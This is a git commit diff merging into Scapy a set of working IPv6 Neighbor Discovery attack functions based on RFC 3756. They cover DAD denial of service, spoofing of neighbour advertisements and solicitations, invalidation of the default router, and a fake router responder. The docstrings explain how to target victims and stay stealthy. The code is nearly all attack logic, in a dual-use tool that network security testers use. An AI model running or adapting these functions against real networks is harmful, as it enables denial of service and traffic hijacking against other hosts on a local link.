Merge pull request #66 from natisbad/master

Implementation of IPv6 ND attacks described in RFC 3756
This commit is contained in:
Pierre Lalet 2016-02-20 12:36:18 +01:00
commit a814731c5a
2 changed files with 633 additions and 0 deletions

View File

@ -3008,6 +3008,629 @@ class _IPv6inIP(SuperSocket):
return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
#############################################################################
#############################################################################
### Neighbor Discovery Protocol Attacks ###
#############################################################################
#############################################################################
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
tgt_filter=None, reply_mac=None):
"""
Internal generic helper accepting a specific callback as first argument,
for NS or NA reply. See the two specific functions below.
"""
def is_request(req, mac_src_filter, tgt_filter):
"""
Check if packet req is a request
"""
# Those simple checks are based on Section 5.4.2 of RFC 4862
if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
return 0
# Get and compare the MAC address
mac_src = req[Ether].src
if mac_src_filter and mac_src != mac_src_filter:
return 0
# Source must be the unspecified address
if req[IPv6].src != "::":
return 0
# Check destination is the link-local solicited-node multicast
# address associated with target address in received NS
tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
if tgt_filter and tgt != tgt_filter:
return 0
received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst)
expected_snma = in6_getnsma(tgt)
if received_snma != expected_snma:
return 0
return 1
if not iface:
iface = conf.iface
# To prevent sniffing our own traffic
if not reply_mac:
reply_mac = get_if_hwaddr(iface)
sniff_filter = "icmp6 and not ether src %s" % reply_mac
sniff(store=0,
filter=sniff_filter,
lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
prn=lambda x: reply_callback(x, reply_mac, iface),
iface=iface)
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None):
"""
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages sent from the
unspecified address and sending a NS reply for the target address,
leading the peer to believe that another node is also performing DAD
for that address.
By default, the fake NS sent to create the DoS uses:
- as target address the target address found in received NS.
- as IPv6 source address: the unspecified address (::).
- as IPv6 destination address: the link-local solicited-node multicast
address derived from the target address in received NS.
- the mac address of the interface as source (or reply_mac, see below).
- the multicast mac address derived from the solicited node multicast
address used as IPv6 destination address.
Following arguments can be used to change the behavior:
iface: a specific interface (e.g. "eth0") of the system on which the
DoS should be launched. If None is provided conf.iface is used.
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
Only NS messages received from this source will trigger replies.
This allows limiting the effects of the DoS to a single target by
filtering on its mac address. The default value is None: the DoS
is not limited to a specific mac address.
tgt_filter: Same as previous but for a specific target IPv6 address for
received NS. If the target address in the NS message (not the IPv6
destination address) matches that address, then a fake reply will
be sent, i.e. the emitter will be a target of the DoS.
reply_mac: allow specifying a specific source mac address for the reply,
i.e. to prevent the use of the mac address of the interface.
"""
def ns_reply_callback(req, reply_mac, iface):
"""
Callback that reply to a NS by sending a similar NS
"""
# Let's build a reply and send it
mac = req[Ether].src
dst = req[IPv6].dst
tgt = req[ICMPv6ND_NS].tgt
rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
sendp(rep, iface=iface, verbose=0)
print "Reply NS for target address %s (received from %s)" % (tgt, mac)
_NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
tgt_filter, reply_mac)
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None):
"""
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3756. This is done by listening incoming NS messages *sent from the
unspecified address* and sending a NA reply for the target address,
leading the peer to believe that another node is also performing DAD
for that address.
By default, the fake NA sent to create the DoS uses:
- as target address the target address found in received NS.
- as IPv6 source address: the target address found in received NS.
- as IPv6 destination address: the link-local solicited-node multicast
address derived from the target address in received NS.
- the mac address of the interface as source (or reply_mac, see below).
- the multicast mac address derived from the solicited node multicast
address used as IPv6 destination address.
- A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
with the mac address used as source of the NA.
Following arguments can be used to change the behavior:
iface: a specific interface (e.g. "eth0") of the system on which the
DoS should be launched. If None is provided conf.iface is used.
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
Only NS messages received from this source will trigger replies.
This allows limiting the effects of the DoS to a single target by
filtering on its mac address. The default value is None: the DoS
is not limited to a specific mac address.
tgt_filter: Same as previous but for a specific target IPv6 address for
received NS. If the target address in the NS message (not the IPv6
destination address) matches that address, then a fake reply will
be sent, i.e. the emitter will be a target of the DoS.
reply_mac: allow specifying a specific source mac address for the reply,
i.e. to prevent the use of the mac address of the interface. This
address will also be used in the Target Link-Layer Address option.
"""
def na_reply_callback(req, reply_mac, iface):
"""
Callback that reply to a NS with a NA
"""
# Let's build a reply and send it
mac = req[Ether].src
dst = req[IPv6].dst
tgt = req[ICMPv6ND_NS].tgt
rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
sendp(rep, iface=iface, verbose=0)
print "Reply NA for target address %s (received from %s)" % (tgt, mac)
_NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
tgt_filter, reply_mac)
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
reply_mac=None, router=False):
"""
The main purpose of this function is to send fake Neighbor Advertisement
messages to a victim. As the emission of unsolicited Neighbor Advertisement
is pretty pointless (from an attacker standpoint) because it will not
lead to a modification of a victim's neighbor cache, the function send
advertisements in response to received NS (NS sent as part of the DAD,
i.e. with an unspecified address as source, are not considered).
By default, the fake NA sent to create the DoS uses:
- as target address the target address found in received NS.
- as IPv6 source address: the target address
- as IPv6 destination address: the source IPv6 address of received NS
message.
- the mac address of the interface as source (or reply_mac, see below).
- the source mac address of the received NS as destination macs address
of the emitted NA.
- A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
filled with the mac address used as source of the NA.
Following arguments can be used to change the behavior:
iface: a specific interface (e.g. "eth0") of the system on which the
DoS should be launched. If None is provided conf.iface is used.
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
Only NS messages received from this source will trigger replies.
This allows limiting the effects of the DoS to a single target by
filtering on its mac address. The default value is None: the DoS
is not limited to a specific mac address.
tgt_filter: Same as previous but for a specific target IPv6 address for
received NS. If the target address in the NS message (not the IPv6
destination address) matches that address, then a fake reply will
be sent, i.e. the emitter will be a target of the DoS.
reply_mac: allow specifying a specific source mac address for the reply,
i.e. to prevent the use of the mac address of the interface. This
address will also be used in the Target Link-Layer Address option.
router: by the default (False) the 'R' flag in the NA used for the reply
is not set. If the parameter is set to True, the 'R' flag in the
NA is set, advertising us as a router.
Please, keep the following in mind when using the function: for obvious
reasons (kernel space vs. Python speed), when the target of the address
resolution is on the link, the sender of the NS receives 2 NA messages
in a row, the valid one and our fake one. The second one will overwrite
the information provided by the first one, i.e. the natural latency of
Scapy helps here.
In practice, on a common Ethernet link, the emission of the NA from the
genuine target (kernel stack) usually occurs in the same millisecond as
the receipt of the NS. The NA generated by Scapy6 will usually come after
something 20+ ms. On a usual testbed for instance, this difference is
sufficient to have the first data packet sent from the victim to the
destination before it even receives our fake NA.
"""
def is_request(req, mac_src_filter, tgt_filter):
"""
Check if packet req is a request
"""
# Those simple checks are based on Section 5.4.2 of RFC 4862
if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
return 0
mac_src = req[Ether].src
if mac_src_filter and mac_src != mac_src_filter:
return 0
# Source must NOT be the unspecified address
if req[IPv6].src == "::":
return 0
tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
if tgt_filter and tgt != tgt_filter:
return 0
dst = req[IPv6].dst
if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
# If this is a real address resolution NS, then the destination
# address of the packet is the link-local solicited node multicast
# address associated with the target of the NS.
# Otherwise, the NS is a NUD related one, i.e. the peer is
# unicasting the NS to check the target is still alive (L2
# information is still in its cache and it is verified)
received_snma = socket.inet_pton(socket.AF_INET6, dst)
expected_snma = in6_getnsma(tgt)
if received_snma != expected_snma:
print "solicited node multicast @ does not match target @!"
return 0
return 1
def reply_callback(req, reply_mac, router, iface):
"""
Callback that reply to a NS with a spoofed NA
"""
# Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
# send it back.
mac = req[Ether].src
pkt = req[IPv6]
src = pkt.src
tgt = req[ICMPv6ND_NS].tgt
rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
# "If the solicitation IP Destination Address is not a multicast
# address, the Target Link-Layer Address option MAY be omitted"
# Given our purpose, we always include it.
rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
sendp(rep, iface=iface, verbose=0)
print "Reply NA for target address %s (received from %s)" % (tgt, mac)
if not iface:
iface = conf.iface
# To prevent sniffing our own traffic
if not reply_mac:
reply_mac = get_if_hwaddr(iface)
sniff_filter = "icmp6 and not ether src %s" % reply_mac
router = (router and 1) or 0 # Value of the R flags in NA
sniff(store=0,
filter=sniff_filter,
lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
prn=lambda x: reply_callback(x, reply_mac, router, iface),
iface=iface)
def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
dst=None, src_mac=None, dst_mac=None, loop=True,
inter=1, iface=None):
"""
The main purpose of this function is to send fake Neighbor Solicitations
messages to a victim, in order to either create a new entry in its neighbor
cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
that a node SHOULD create the entry or update an existing one (if it is not
currently performing DAD for the target of the NS). The entry's reachability
state is set to STALE.
The two main parameters of the function are the source link-layer address
(carried by the Source Link-Layer Address option in the NS) and the
source address of the packet.
Unlike some other NDP_Attack_* function, this one is not based on a
stimulus/response model. When called, it sends the same NS packet in loop
every second (the default)
Following arguments can be used to change the format of the packets:
src_lladdr: the MAC address used in the Source Link-Layer Address option
included in the NS packet. This is the address that the peer should
associate in its neighbor cache with the IPv6 source address of the
packet. If None is provided, the mac address of the interface is
used.
src: the IPv6 address used as source of the packet. If None is provided,
an address associated with the emitting interface will be used
(based on the destination address of the packet).
target: the target address of the NS packet. If no value is provided,
a dummy address (2001:db8::1) is used. The value of the target
has a direct impact on the destination address of the packet if it
is not overridden. By default, the solicited-node multicast address
associated with the target is used as destination address of the
packet. Consider specifying a specific destination address if you
intend to use a target address different than the one of the victim.
dst: The destination address of the NS. By default, the solicited node
multicast address associated with the target address (see previous
parameter) is used if no specific value is provided. The victim
is not expected to check the destination address of the packet,
so using a multicast address like ff02::1 should work if you want
the attack to target all hosts on the link. On the contrary, if
you want to be more stealth, you should provide the target address
for this parameter in order for the packet to be sent only to the
victim.
src_mac: the MAC address used as source of the packet. By default, this
is the address of the interface. If you want to be more stealth,
feel free to use something else. Note that this address is not the
that the victim will use to populate its neighbor cache.
dst_mac: The MAC address used as destination address of the packet. If
the IPv6 destination address is multicast (all-nodes, solicited
node, ...), it will be computed. If the destination address is
unicast, a neighbor solicitation will be performed to get the
associated address. If you want the attack to be stealth, you
can provide the MAC address using this parameter.
loop: By default, this parameter is True, indicating that NS packets
will be sent in loop, separated by 'inter' seconds (see below).
When set to False, a single packet is sent.
inter: When loop parameter is True (the default), this parameter provides
the interval in seconds used for sending NS packets.
iface: to force the sending interface.
"""
if not iface:
iface = conf.iface
# Use provided MAC address as source link-layer address option
# or the MAC address of the interface if none is provided.
if not src_lladdr:
src_lladdr = get_if_hwaddr(iface)
# Prepare packets parameters
ether_params = {}
if src_mac:
ether_params["src"] = src_mac
if dst_mac:
ether_params["dst"] = dst_mac
ipv6_params = {}
if src:
ipv6_params["src"] = src
if dst:
ipv6_params["dst"] = dst
else:
# Compute the solicited-node multicast address
# associated with the target address.
tmp = inet_ntop(socket.AF_INET6,
in6_getnsma(inet_pton(socket.AF_INET6, target)))
ipv6_params["dst"] = tmp
pkt = Ether(**ether_params)
pkt /= IPv6(**ipv6_params)
pkt /= ICMPv6ND_NS(tgt=target)
pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
ip_src_filter=None, reply_mac=None,
tgt_mac=None):
"""
The purpose of the function is to monitor incoming RA messages
sent by default routers (RA with a non-zero Router Lifetime values)
and invalidate them by immediately replying with fake RA messages
advertising a zero Router Lifetime value.
The result on receivers is that the router is immediately invalidated,
i.e. the associated entry is discarded from the default router list
and destination cache is updated to reflect the change.
By default, the function considers all RA messages with a non-zero
Router Lifetime value but provides configuration knobs to allow
filtering RA sent by specific routers (Ethernet source address).
With regard to emission, the multicast all-nodes address is used
by default but a specific target can be used, in order for the DoS to
apply only to a specific host.
More precisely, following arguments can be used to change the behavior:
iface: a specific interface (e.g. "eth0") of the system on which the
DoS should be launched. If None is provided conf.iface is used.
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
Only RA messages received from this source will trigger replies.
If other default routers advertised their presence on the link,
their clients will not be impacted by the attack. The default
value is None: the DoS is not limited to a specific mac address.
ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
on. Only RA messages received from this source address will trigger
replies. If other default routers advertised their presence on the
link, their clients will not be impacted by the attack. The default
value is None: the DoS is not limited to a specific IPv6 source
address.
reply_mac: allow specifying a specific source mac address for the reply,
i.e. to prevent the use of the mac address of the interface.
tgt_mac: allow limiting the effect of the DoS to a specific host,
by sending the "invalidating RA" only to its mac address.
"""
def is_request(req, mac_src_filter, ip_src_filter):
"""
Check if packet req is a request
"""
if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
return 0
mac_src = req[Ether].src
if mac_src_filter and mac_src != mac_src_filter:
return 0
ip_src = req[IPv6].src
if ip_src_filter and ip_src != ip_src_filter:
return 0
# Check if this is an advertisement for a Default Router
# by looking at Router Lifetime value
if req[ICMPv6ND_RA].routerlifetime == 0:
return 0
return 1
def ra_reply_callback(req, reply_mac, tgt_mac, iface):
"""
Callback that sends an RA with a 0 lifetime
"""
# Let's build a reply and send it
src = req[IPv6].src
# Prepare packets parameters
ether_params = {}
if reply_mac:
ether_params["src"] = reply_mac
if tgt_mac:
ether_params["dst"] = tgt_mac
# Basis of fake RA (high pref, zero lifetime)
rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
# Add it a PIO from the request ...
tmp = req
while ICMPv6NDOptPrefixInfo in tmp:
pio = tmp[ICMPv6NDOptPrefixInfo]
tmp = pio.payload
del(pio.payload)
rep /= pio
# ... and source link layer address option
if ICMPv6NDOptSrcLLAddr in req:
mac = req[ICMPv6NDOptSrcLLAddr].lladdr
else:
mac = req[Ether].src
rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
sendp(rep, iface=iface, verbose=0)
print "Fake RA sent with source address %s" % src
if not iface:
iface = conf.iface
# To prevent sniffing our own traffic
if not reply_mac:
reply_mac = get_if_hwaddr(iface)
sniff_filter = "icmp6 and not ether src %s" % reply_mac
sniff(store=0,
filter=sniff_filter,
lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
iface=iface)
def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
ip_src_filter=None):
"""
The purpose of this function is to send provided RA message at layer 2
(i.e. providing a packet starting with IPv6 will not work) in response
to received RS messages. In the end, the function is a simple wrapper
around sendp() that monitor the link for RS messages.
It is probably better explained with an example:
>>> ra = Ether()/IPv6()/ICMPv6ND_RA()
>>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
>>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
>>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
>>> NDP_Attack_Fake_Router(ra, iface="eth0")
Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
...
Following arguments can be used to change the behavior:
ra: the RA message to send in response to received RS message.
iface: a specific interface (e.g. "eth0") of the system on which the
DoS should be launched. If none is provided, conf.iface is
used.
mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
Only RS messages received from this source will trigger a reply.
Note that no changes to provided RA is done which imply that if
you intend to target only the source of the RS using this option,
you will have to set the Ethernet destination address to the same
value in your RA.
The default value for this parameter is None: no filtering on the
source of RS is done.
ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
on. Only RS messages received from this source address will trigger
replies. Same comment as for previous argument apply: if you use
the option, you will probably want to set a specific Ethernet
destination address in the RA.
"""
def is_request(req, mac_src_filter, ip_src_filter):
"""
Check if packet req is a request
"""
if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
return 0
mac_src = req[Ether].src
if mac_src_filter and mac_src != mac_src_filter:
return 0
ip_src = req[IPv6].src
if ip_src_filter and ip_src != ip_src_filter:
return 0
return 1
def ra_reply_callback(req, iface):
"""
Callback that sends an RA in reply to an RS
"""
src = req[IPv6].src
sendp(ra, iface=iface, verbose=0)
print "Fake RA sent in response to RS from %s" % src
if not iface:
iface = conf.iface
sniff_filter = "icmp6"
sniff(store=0,
filter=sniff_filter,
lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
prn=lambda x: ra_reply_callback(x, iface),
iface=iface)
#############################################################################
#############################################################################
### Layers binding ###

View File

@ -648,6 +648,16 @@ def in6_isincluded(addr, prefix, plen):
zero = inet_pton(socket.AF_INET6, prefix)
return zero == in6_and(temp, pref)
def in6_isllsnmaddr(str):
"""
Return True if provided address is a link-local solicited node
multicast address, i.e. belongs to ff02::1:ff00:0/104. False is
returned otherwise.
"""
temp = in6_and("\xff"*13+"\x00"*3, inet_pton(socket.AF_INET6, str))
temp2 = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00'
return temp == temp2
def in6_isdocaddr(str):
"""
Returns True if provided address in printable format belongs to